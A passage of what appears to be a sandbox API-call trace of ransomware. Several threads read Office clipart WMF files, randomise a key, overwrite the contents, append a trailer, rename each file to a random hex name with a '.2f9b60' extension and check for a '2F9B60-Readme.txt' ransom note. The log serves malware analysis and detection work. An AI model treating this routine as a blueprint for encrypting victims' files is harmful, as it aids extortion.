(HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdb4760 [0159.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8677c0 [0159.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4790 [0159.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4790) returned 1 [0159.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdb4790 [0159.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb47c0 [0159.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb47f0 [0159.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb47f0) returned 1 [0159.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 [0159.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167940 [0159.658] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.658] WriteFile (hFile=0x1738, lpBuffer=0x167940, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b7af8d0, lpOverlapped=0x0) [0200.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5b0 [0200.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f5b0) returned 1 [0200.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5b0 [0200.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f100 [0200.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f100) returned 1 [0200.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.388] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="bb") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="e5") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="98") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="96") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="2a") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="35") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="31") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="0e") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="d2") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="dc") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="b0") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="c8") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="94") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="55") returned 2 [0200.389] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="55") returned 2 [0200.389] RtlInitAnsiString (in: DestinationString=0x2b7af948, SourceString="bb7a2b2db74fe5989c96fe2a2d35310ed2dcb0c8d4945555" | out: DestinationString="bb7a2b2db74fe5989c96fe2a2d35310ed2dcb0c8d4945555") [0200.390] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b7af918, SourceString="bb7a2b2db74fe5989c96fe2a2d35310ed2dcb0c8d4945555", AllocateDestinationString=1 | out: DestinationString="bb7a2b2db74fe5989c96fe2a2d35310ed2dcb0c8d4945555") returned 0x0 [0200.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0830 [0200.390] wcscat (in: _Dest=0x431e45c0, _Source="bb7a2b2db74f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bb7a2b2db74f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bb7a2b2db74f" [0200.390] wcscat (in: _Dest=0x431e45c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bb7a2b2db74f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bb7a2b2db74f.2f9b60" [0200.391] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bb7a2b2db74f.2f9b60", NtPathName=0x2b7af8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bb7a2b2db74f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431edc20 Thread: id = 686 os_tid = 0x119c [0096.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0107.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", dwFileAttributes=0x20) returned 1 [0108.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0108.304] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x2a03f8c0 | out: lpFileSize=0x2a03f8c0*=7372) returned 1 [0108.304] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x1cc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.304] ReadFile (in: hFile=0x1574, lpBuffer=0x2a03f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a03f888, lpOverlapped=0x0 | out: lpBuffer=0x2a03f840*, lpNumberOfBytesRead=0x2a03f888*=0x4, lpOverlapped=0x0) returned 1 [0108.333] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.333] NtQuerySystemTime (in: CurrentTime=0x2a03f780 | out: CurrentTime=0x2a03f780*=132462177138250000) returned 0x0 [0108.333] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x70af6b3d [0108.333] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x3fd712a6 [0108.333] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x6bacbaee [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0xce23f55 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x19eaad84 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x7cbcddbb [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x4c339eb5 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x753f3b32 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x4f41dce [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x63efe581 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x4d81a722 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x7a159eab [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x39211fe [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x13b4b084 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x2d00f581 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x654a0742 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x745213eb [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x15e1fbf5 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x1229e1c0 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x4b6bfc51 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x2f77ddc4 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x70cf00b4 [0108.334] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x1b508cd [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x6a7ad7ac [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x7c79a9b3 [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x5c190878 [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x3ab8688c [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x6a287793 [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x32684207 [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x2df1adad [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x267c45e7 [0108.335] RtlRandomEx (in: Seed=0x2a03f770 | out: Seed=0x2a03f770) returned 0x47a0efab [0108.348] ReadFile (in: hFile=0x1574, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x2a03f770, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2a03f770*=0x1ccc, lpOverlapped=0x0) returned 1 [0108.379] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.380] WriteFile (in: hFile=0x1574, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x1ccc, lpNumberOfBytesWritten=0x2a03f774, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2a03f774*=0x1ccc, lpOverlapped=0x0) returned 1 [0108.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0108.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600c0) returned 1 [0108.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0108.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8600c0 [0108.411] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.411] WriteFile (in: hFile=0x1574, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a03f890, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2a03f890*=0x10a, lpOverlapped=0x0) returned 1 [0108.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0108.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.432] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="a5") returned 2 [0108.432] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="94") returned 2 [0108.432] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="58") returned 2 [0108.432] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="d3") returned 2 [0108.432] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="45") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="f8") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="72") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="c4") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="b2") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="b4") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="19") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="49") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="5a") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="61") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="91") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="80") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="7a") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="21") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="44") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="d3") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="86") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="fd") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="0d") returned 2 [0108.433] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="f5") returned 2 [0108.433] RtlInitAnsiString (in: DestinationString=0x2a03f908, SourceString="a59458d345f872c4b2b419495a6191807a2144d386fd0df5" | out: DestinationString="a59458d345f872c4b2b419495a6191807a2144d386fd0df5") [0108.433] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a03f8d8, SourceString="a59458d345f872c4b2b419495a6191807a2144d386fd0df5", AllocateDestinationString=1 | out: DestinationString="a59458d345f872c4b2b419495a6191807a2144d386fd0df5") returned 0x0 [0108.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6190 [0108.433] wcscat (in: _Dest=0x205001d0, _Source="a59458d345f8" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a59458d345f8") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a59458d345f8" [0108.433] wcscat (in: _Dest=0x205001d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a59458d345f8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a59458d345f8.2f9b60" [0108.434] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a59458d345f8.2f9b60", NtPathName=0x2a03f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a59458d345f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202795b0 [0108.434] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x2a03f950, FileInformation=0x202795b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0109.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265f50) returned 1 [0109.988] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x2a03f918, FileInformation=0x2a03f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a03f918, FileInformation=0x2a03f928) returned 0x0 [0109.988] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x2a03f918, FileInformation=0x2a03f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205001d0) returned 1 [0110.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6190) returned 1 [0110.006] FlushFileBuffers (hFile=0x1574) returned 1 [0110.017] CloseHandle (hObject=0x1574) returned 1 [0110.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500130 [0110.017] wcscpy (in: _Dest=0x20500130, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.017] wcscat (in: _Dest=0x20500130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500130) returned 1 [0110.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b5c0) returned 1 Thread: id = 687 os_tid = 0x11a0 [0096.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0107.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", dwFileAttributes=0x20) returned 1 [0108.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1594 [0108.302] GetFileSizeEx (in: hFile=0x1594, lpFileSize=0x2b93fb60 | out: lpFileSize=0x2b93fb60*=7540) returned 1 [0108.302] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x1d70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.302] ReadFile (in: hFile=0x1594, lpBuffer=0x2b93fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b93fb28, lpOverlapped=0x0 | out: lpBuffer=0x2b93fae0*, lpNumberOfBytesRead=0x2b93fb28*=0x4, lpOverlapped=0x0) returned 1 [0108.352] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.352] NtQuerySystemTime (in: CurrentTime=0x2b93fa20 | out: CurrentTime=0x2b93fa20*=132462177138406000) returned 0x0 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x375bb154 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x291f2774 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x761c4886 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x3fbabbe7 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x4fb391de [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x20b52aad [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x74585e11 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x31a59f1b [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x2a8d965b [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0xce676b3 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x5f3fe87a [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x4bab7656 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x25dfd364 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x4b431580 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x4ad2febb [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x6ddadaf8 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x2afecc81 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x12dcb821 [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x523a992d [0108.352] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x69345e5d [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x2b29a541 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x5376aba4 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x15becc4f [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0xf696212 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x76af25b3 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x1383a729 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x472cd0e8 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x55228d35 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x53ae3ea8 [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x4ed9251e [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x655fbe1c [0108.353] RtlRandomEx (in: Seed=0x2b93fa10 | out: Seed=0x2b93fa10) returned 0x3d2a1693 [0108.365] ReadFile (in: hFile=0x1594, lpBuffer=0x41e6a520, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x2b93fa10, lpOverlapped=0x0 | out: lpBuffer=0x41e6a520*, lpNumberOfBytesRead=0x2b93fa10*=0x1d74, lpOverlapped=0x0) returned 1 [0108.401] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.401] WriteFile (in: hFile=0x1594, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x1d74, lpNumberOfBytesWritten=0x2b93fa14, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x2b93fa14*=0x1d74, lpOverlapped=0x0) returned 1 [0108.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0108.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860090) returned 1 [0108.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0108.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6a520) returned 1 [0108.415] RtlFreeHeap (HeapHandle=0xa0000, 